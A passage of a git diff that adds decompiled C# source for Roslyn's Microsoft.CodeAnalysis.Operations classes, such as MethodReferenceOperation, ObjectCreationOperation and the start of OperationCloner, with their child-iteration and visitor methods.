expressionBody, semanticModel, syntax, isImplicit) + { + } + + internal override IOperation GetCurrent(int slot, int index) + { + switch (slot) + { + case 0: + if (base.BlockBody != null) + { + return base.BlockBody; + } + break; + case 1: + if (base.ExpressionBody != null) + { + return base.ExpressionBody; + } + break; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (base.BlockBody != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case 0; + case 0: + if (base.ExpressionBody != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 1; + case 1: + case 2: + return (hasNext: false, nextSlot: 2, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != 1) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (base.ExpressionBody != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + } + if (base.BlockBody != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitMethodBodyOperation(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitMethodBodyOperation(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/MethodReferenceOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/MethodReferenceOperation.cs new file mode 100644 index 0000000..eaa5c59 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/MethodReferenceOperation.cs @@ -0,0 +1,82 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class MethodReferenceOperation : BaseMemberReferenceOperation, IMethodReferenceOperation, IMemberReferenceOperation, IOperation +{ + public IMethodSymbol Method { get; } + + public override ITypeSymbol? ConstrainedToType { get; } + + public bool IsVirtual { get; } + + internal override int ChildOperationsCount => (base.Instance != null) ? 1 : 0; + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.MethodReference; + + public override ISymbol Member => Method; + + internal MethodReferenceOperation(IMethodSymbol method, ITypeSymbol? constrainedToType, bool isVirtual, IOperation? instance, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, bool isImplicit) + : base(instance, semanticModel, syntax, isImplicit) + { + Method = method; + ConstrainedToType = constrainedToType; + IsVirtual = isVirtual; + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + if (slot == 0 && base.Instance != null) + { + return base.Instance; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + if (previousSlot != -1) + { + if ((uint)previousSlot > 1u) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + else if (base.Instance != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + return (hasNext: false, nextSlot: 1, nextIndex: 0); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (base.Instance != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitMethodReference(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitMethodReference(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/NameOfOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/NameOfOperation.cs new file mode 100644 index 0000000..4de9a60 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/NameOfOperation.cs @@ -0,0 +1,75 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class NameOfOperation : Operation, INameOfOperation, IOperation +{ + public IOperation Argument { get; } + + internal override int ChildOperationsCount => (Argument != null) ? 1 : 0; + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue { get; } + + public override OperationKind Kind => OperationKind.NameOf; + + internal NameOfOperation(IOperation argument, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, ConstantValue? constantValue, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Argument = Operation.SetParentOperation(argument, this); + OperationConstantValue = constantValue; + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + if (slot == 0 && Argument != null) + { + return Argument; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + if (previousSlot != -1) + { + if ((uint)previousSlot > 1u) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + else if (Argument != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + return (hasNext: false, nextSlot: 1, nextIndex: 0); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (Argument != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitNameOf(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitNameOf(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/NegatedPatternOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/NegatedPatternOperation.cs new file mode 100644 index 0000000..46d1a67 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/NegatedPatternOperation.cs @@ -0,0 +1,73 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class NegatedPatternOperation : BasePatternOperation, INegatedPatternOperation, IPatternOperation, IOperation +{ + public IPatternOperation Pattern { get; } + + internal override int ChildOperationsCount => (Pattern != null) ? 1 : 0; + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.NegatedPattern; + + internal NegatedPatternOperation(IPatternOperation pattern, ITypeSymbol inputType, ITypeSymbol narrowedType, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(inputType, narrowedType, semanticModel, syntax, isImplicit) + { + Pattern = Operation.SetParentOperation(pattern, this); + } + + internal override IOperation GetCurrent(int slot, int index) + { + if (slot == 0 && Pattern != null) + { + return Pattern; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + if (previousSlot != -1) + { + if ((uint)previousSlot > 1u) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + else if (Pattern != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + return (hasNext: false, nextSlot: 1, nextIndex: 0); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (Pattern != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitNegatedPattern(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitNegatedPattern(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/NoPiaObjectCreationOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/NoPiaObjectCreationOperation.cs new file mode 100644 index 0000000..f89142a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/NoPiaObjectCreationOperation.cs @@ -0,0 +1,74 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class NoPiaObjectCreationOperation : Operation, INoPiaObjectCreationOperation, IOperation +{ + public IObjectOrCollectionInitializerOperation? Initializer { get; } + + internal override int ChildOperationsCount => (Initializer != null) ? 1 : 0; + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.None; + + internal NoPiaObjectCreationOperation(IObjectOrCollectionInitializerOperation? initializer, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Initializer = Operation.SetParentOperation(initializer, this); + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + if (slot == 0 && Initializer != null) + { + return Initializer; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + if (previousSlot != -1) + { + if ((uint)previousSlot > 1u) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + else if (Initializer != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + return (hasNext: false, nextSlot: 1, nextIndex: 0); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (Initializer != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitNoPiaObjectCreation(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitNoPiaObjectCreation(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/NoneOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/NoneOperation.cs new file mode 100644 index 0000000..1b04517 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/NoneOperation.cs @@ -0,0 +1,90 @@ +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class NoneOperation : Operation +{ + internal ImmutableArray Children { get; } + + internal override int ChildOperationsCount => Children.Length; + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue { get; } + + public override OperationKind Kind => OperationKind.None; + + public NoneOperation(ImmutableArray children, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, ConstantValue? constantValue, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Children = Operation.SetParentOperation(children, this); + Type = type; + OperationConstantValue = constantValue; + } + + internal override IOperation GetCurrent(int slot, int index) + { + if (slot == 0 && index < Children.Length) + { + return Children[index]; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (!Children.IsEmpty) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case 1; + case 0: + if (previousIndex + 1 < Children.Length) + { + return (hasNext: true, nextSlot: 0, nextIndex: previousIndex + 1); + } + goto case 1; + case 1: + return (hasNext: false, nextSlot: 1, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if (previousSlot != -1) + { + if (previousSlot != 0) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (!Children.IsEmpty) + { + return (hasNext: true, nextSlot: 0, nextIndex: Children.Length - 1); + } + } + else if (previousIndex > 0) + { + return (hasNext: true, nextSlot: 0, nextIndex: previousIndex - 1); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitNoneOperation(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitNoneOperation(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ObjectCreationOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ObjectCreationOperation.cs new file mode 100644 index 0000000..adae376 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ObjectCreationOperation.cs @@ -0,0 +1,122 @@ +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class ObjectCreationOperation : Operation, IObjectCreationOperation, IOperation +{ + public IMethodSymbol? Constructor { get; } + + public IObjectOrCollectionInitializerOperation? Initializer { get; } + + public ImmutableArray Arguments { get; } + + internal override int ChildOperationsCount => ((Initializer != null) ? 1 : 0) + Arguments.Length; + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue { get; } + + public override OperationKind Kind => OperationKind.ObjectCreation; + + internal ObjectCreationOperation(IMethodSymbol? constructor, IObjectOrCollectionInitializerOperation? initializer, ImmutableArray arguments, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, ConstantValue? constantValue, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Constructor = constructor; + Initializer = Operation.SetParentOperation(initializer, this); + Arguments = Operation.SetParentOperation(arguments, this); + OperationConstantValue = constantValue; + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + switch (slot) + { + case 0: + if (index < Arguments.Length) + { + return Arguments[index]; + } + break; + case 1: + if (Initializer != null) + { + return Initializer; + } + break; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (!Arguments.IsEmpty) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto IL_0053; + case 0: + if (previousIndex + 1 < Arguments.Length) + { + return (hasNext: true, nextSlot: 0, nextIndex: previousIndex + 1); + } + goto IL_0053; + case 1: + case 2: + return (hasNext: false, nextSlot: 2, nextIndex: 0); + default: + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + IL_0053: + if (Initializer != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 1; + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case int.MaxValue: + if (Initializer != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 1; + case 1: + if (!Arguments.IsEmpty) + { + return (hasNext: true, nextSlot: 0, nextIndex: Arguments.Length - 1); + } + goto case -1; + case 0: + if (previousIndex > 0) + { + return (hasNext: true, nextSlot: 0, nextIndex: previousIndex - 1); + } + goto case -1; + case -1: + return (hasNext: false, nextSlot: -1, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitObjectCreation(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitObjectCreation(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ObjectOrCollectionInitializerOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ObjectOrCollectionInitializerOperation.cs new file mode 100644 index 0000000..b95e842 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ObjectOrCollectionInitializerOperation.cs @@ -0,0 +1,89 @@ +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class ObjectOrCollectionInitializerOperation : Operation, IObjectOrCollectionInitializerOperation, IOperation +{ + public ImmutableArray Initializers { get; } + + internal override int ChildOperationsCount => Initializers.Length; + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.ObjectOrCollectionInitializer; + + internal ObjectOrCollectionInitializerOperation(ImmutableArray initializers, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Initializers = Operation.SetParentOperation(initializers, this); + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + if (slot == 0 && index < Initializers.Length) + { + return Initializers[index]; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (!Initializers.IsEmpty) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case 1; + case 0: + if (previousIndex + 1 < Initializers.Length) + { + return (hasNext: true, nextSlot: 0, nextIndex: previousIndex + 1); + } + goto case 1; + case 1: + return (hasNext: false, nextSlot: 1, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if (previousSlot != -1) + { + if (previousSlot != 0) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (!Initializers.IsEmpty) + { + return (hasNext: true, nextSlot: 0, nextIndex: Initializers.Length - 1); + } + } + else if (previousIndex > 0) + { + return (hasNext: true, nextSlot: 0, nextIndex: previousIndex - 1); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitObjectOrCollectionInitializer(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitObjectOrCollectionInitializer(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/OmittedArgumentOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/OmittedArgumentOperation.cs new file mode 100644 index 0000000..556597e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/OmittedArgumentOperation.cs @@ -0,0 +1,45 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class OmittedArgumentOperation : Operation, IOmittedArgumentOperation, IOperation +{ + internal override int ChildOperationsCount => 0; + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.OmittedArgument; + + internal OmittedArgumentOperation(SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + return (hasNext: false, nextSlot: int.MinValue, nextIndex: int.MinValue); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + return (hasNext: false, nextSlot: int.MinValue, nextIndex: int.MinValue); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitOmittedArgument(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitOmittedArgument(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/OperationCloner.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/OperationCloner.cs new file mode 100644 index 0000000..d76b37b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/OperationCloner.cs @@ -0,0 +1,814 @@ +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using Microsoft.CodeAnalysis.FlowAnalysis; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class OperationCloner : OperationVisitor +{ + private static readonly OperationCloner s_instance = new OperationCloner(); + + public static T CloneOperation(T operation) where T : IOperation + { + return s_instance.Visit(operation); + } + + [return: NotNullIfNotNull("node")] + private T? Visit(T? node) where T : IOperation? + { + return (T)Visit(node, null); + } + + public override IOperation DefaultVisit(IOperation operation, object? argument) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Generated/Operations.Generated.cs", 10332); + } + + private ImmutableArray VisitArray(ImmutableArray nodes) where T : IOperation + { + return nodes.SelectAsArray((T n, OperationCloner @this) => @this.Visit(n), this); + } + + private ImmutableArray<(ISymbol, T)> VisitArray(ImmutableArray<(ISymbol, T)> nodes) where T : IOperation + { + return nodes.SelectAsArray<(ISymbol, T), OperationCloner, (ISymbol, T)>(((ISymbol, T) n, OperationCloner @this) => (n.Item1, @this.Visit(n.Item2)), this); + } + + public override IOperation VisitBlock(IBlockOperation operation, object? argument) + { + BlockOperation blockOperation = (BlockOperation)operation; + return new BlockOperation(VisitArray(blockOperation.Operations), blockOperation.Locals, blockOperation.OwningSemanticModel, blockOperation.Syntax, blockOperation.IsImplicit); + } + + public override IOperation VisitVariableDeclarationGroup(IVariableDeclarationGroupOperation operation, object? argument) + { + VariableDeclarationGroupOperation variableDeclarationGroupOperation = (VariableDeclarationGroupOperation)operation; + return new VariableDeclarationGroupOperation(VisitArray(variableDeclarationGroupOperation.Declarations), variableDeclarationGroupOperation.OwningSemanticModel, variableDeclarationGroupOperation.Syntax, variableDeclarationGroupOperation.IsImplicit); + } + + public override IOperation VisitSwitch(ISwitchOperation operation, object? argument) + { + SwitchOperation switchOperation = (SwitchOperation)operation; + return new SwitchOperation(switchOperation.Locals, Visit(switchOperation.Value), VisitArray(switchOperation.Cases), switchOperation.ExitLabel, switchOperation.OwningSemanticModel, switchOperation.Syntax, switchOperation.IsImplicit); + } + + public override IOperation VisitForEachLoop(IForEachLoopOperation operation, object? argument) + { + ForEachLoopOperation forEachLoopOperation = (ForEachLoopOperation)operation; + return new ForEachLoopOperation(Visit(forEachLoopOperation.LoopControlVariable), Visit(forEachLoopOperation.Collection), VisitArray(forEachLoopOperation.NextVariables), forEachLoopOperation.Info, forEachLoopOperation.IsAsynchronous, Visit(forEachLoopOperation.Body), forEachLoopOperation.Locals, forEachLoopOperation.ContinueLabel, forEachLoopOperation.ExitLabel, forEachLoopOperation.OwningSemanticModel, forEachLoopOperation.Syntax, forEachLoopOperation.IsImplicit); + } + + public override IOperation VisitForLoop(IForLoopOperation operation, object? argument) + { + ForLoopOperation forLoopOperation = (ForLoopOperation)operation; + return new ForLoopOperation(VisitArray(forLoopOperation.Before), forLoopOperation.ConditionLocals, Visit(forLoopOperation.Condition), VisitArray(forLoopOperation.AtLoopBottom), Visit(forLoopOperation.Body), forLoopOperation.Locals, forLoopOperation.ContinueLabel, forLoopOperation.ExitLabel, forLoopOperation.OwningSemanticModel, forLoopOperation.Syntax, forLoopOperation.IsImplicit); + } + + public override IOperation VisitForToLoop(IForToLoopOperation operation, object? argument) + { + ForToLoopOperation forToLoopOperation = (ForToLoopOperation)operation; + return new ForToLoopOperation(Visit(forToLoopOperation.LoopControlVariable), Visit(forToLoopOperation.InitialValue), Visit(forToLoopOperation.LimitValue), Visit(forToLoopOperation.StepValue), forToLoopOperation.IsChecked, VisitArray(forToLoopOperation.NextVariables), forToLoopOperation.Info, Visit(forToLoopOperation.Body), forToLoopOperation.Locals, forToLoopOperation.ContinueLabel, forToLoopOperation.ExitLabel, forToLoopOperation.OwningSemanticModel, forToLoopOperation.Syntax, forToLoopOperation.IsImplicit); + } + + public override IOperation VisitWhileLoop(IWhileLoopOperation operation, object? argument) + { + WhileLoopOperation whileLoopOperation = (WhileLoopOperation)operation; + return new WhileLoopOperation(Visit(whileLoopOperation.Condition), whileLoopOperation.ConditionIsTop, whileLoopOperation.ConditionIsUntil, Visit(whileLoopOperation.IgnoredCondition), Visit(whileLoopOperation.Body), whileLoopOperation.Locals, whileLoopOperation.ContinueLabel, whileLoopOperation.ExitLabel, whileLoopOperation.OwningSemanticModel, whileLoopOperation.Syntax, whileLoopOperation.IsImplicit); + } + + public override IOperation VisitLabeled(ILabeledOperation operation, object? argument) + { + LabeledOperation labeledOperation = (LabeledOperation)operation; + return new LabeledOperation(labeledOperation.Label, Visit(labeledOperation.Operation), labeledOperation.OwningSemanticModel, labeledOperation.Syntax, labeledOperation.IsImplicit); + } + + public override IOperation VisitBranch(IBranchOperation operation, object? argument) + { + BranchOperation branchOperation = (BranchOperation)operation; + return new BranchOperation(branchOperation.Target, branchOperation.BranchKind, branchOperation.OwningSemanticModel, branchOperation.Syntax, branchOperation.IsImplicit); + } + + public override IOperation VisitEmpty(IEmptyOperation operation, object? argument) + { + EmptyOperation emptyOperation = (EmptyOperation)operation; + return new EmptyOperation(emptyOperation.OwningSemanticModel, emptyOperation.Syntax, emptyOperation.IsImplicit); + } + + public override IOperation VisitReturn(IReturnOperation operation, object? argument) + { + ReturnOperation returnOperation = (ReturnOperation)operation; + return new ReturnOperation(Visit(returnOperation.ReturnedValue), returnOperation.Kind, returnOperation.OwningSemanticModel, returnOperation.Syntax, returnOperation.IsImplicit); + } + + public override IOperation VisitLock(ILockOperation operation, object? argument) + { + LockOperation lockOperation = (LockOperation)operation; + return new LockOperation(Visit(lockOperation.LockedValue), Visit(lockOperation.Body), lockOperation.LockTakenSymbol, lockOperation.OwningSemanticModel, lockOperation.Syntax, lockOperation.IsImplicit); + } + + public override IOperation VisitTry(ITryOperation operation, object? argument) + { + TryOperation tryOperation = (TryOperation)operation; + return new TryOperation(Visit(tryOperation.Body), VisitArray(tryOperation.Catches), Visit(tryOperation.Finally), tryOperation.ExitLabel, tryOperation.OwningSemanticModel, tryOperation.Syntax, tryOperation.IsImplicit); + } + + public override IOperation VisitUsing(IUsingOperation operation, object? argument) + { + UsingOperation usingOperation = (UsingOperation)operation; + return new UsingOperation(Visit(usingOperation.Resources), Visit(usingOperation.Body), usingOperation.Locals, usingOperation.IsAsynchronous, usingOperation.DisposeInfo, usingOperation.OwningSemanticModel, usingOperation.Syntax, usingOperation.IsImplicit); + } + + public override IOperation VisitExpressionStatement(IExpressionStatementOperation operation, object? argument) + { + ExpressionStatementOperation expressionStatementOperation = (ExpressionStatementOperation)operation; + return new ExpressionStatementOperation(Visit(expressionStatementOperation.Operation), expressionStatementOperation.OwningSemanticModel, expressionStatementOperation.Syntax, expressionStatementOperation.IsImplicit); + } + + public override IOperation VisitLocalFunction(ILocalFunctionOperation operation, object? argument) + { + LocalFunctionOperation localFunctionOperation = (LocalFunctionOperation)operation; + return new LocalFunctionOperation(localFunctionOperation.Symbol, Visit(localFunctionOperation.Body), Visit(localFunctionOperation.IgnoredBody), localFunctionOperation.OwningSemanticModel, localFunctionOperation.Syntax, localFunctionOperation.IsImplicit); + } + + public override IOperation VisitStop(IStopOperation operation, object? argument) + { + StopOperation stopOperation = (StopOperation)operation; + return new StopOperation(stopOperation.OwningSemanticModel, stopOperation.Syntax, stopOperation.IsImplicit); + } + + public override IOperation VisitEnd(IEndOperation operation, object? argument) + { + EndOperation endOperation = (EndOperation)operation; + return new EndOperation(endOperation.OwningSemanticModel, endOperation.Syntax, endOperation.IsImplicit); + } + + public override IOperation VisitRaiseEvent(IRaiseEventOperation operation, object? argument) + { + RaiseEventOperation raiseEventOperation = (RaiseEventOperation)operation; + return new RaiseEventOperation(Visit(raiseEventOperation.EventReference), VisitArray(raiseEventOperation.Arguments), raiseEventOperation.OwningSemanticModel, raiseEventOperation.Syntax, raiseEventOperation.IsImplicit); + } + + public override IOperation VisitLiteral(ILiteralOperation operation, object? argument) + { + LiteralOperation literalOperation = (LiteralOperation)operation; + return new LiteralOperation(literalOperation.OwningSemanticModel, literalOperation.Syntax, literalOperation.Type, literalOperation.OperationConstantValue, literalOperation.IsImplicit); + } + + public override IOperation VisitConversion(IConversionOperation operation, object? argument) + { + ConversionOperation conversionOperation = (ConversionOperation)operation; + return new ConversionOperation(Visit(conversionOperation.Operand), conversionOperation.ConversionConvertible, conversionOperation.IsTryCast, conversionOperation.IsChecked, conversionOperation.OwningSemanticModel, conversionOperation.Syntax, conversionOperation.Type, conversionOperation.OperationConstantValue, conversionOperation.IsImplicit); + } + + public override IOperation VisitInvocation(IInvocationOperation operation, object? argument) + { + InvocationOperation invocationOperation = (InvocationOperation)operation; + return new 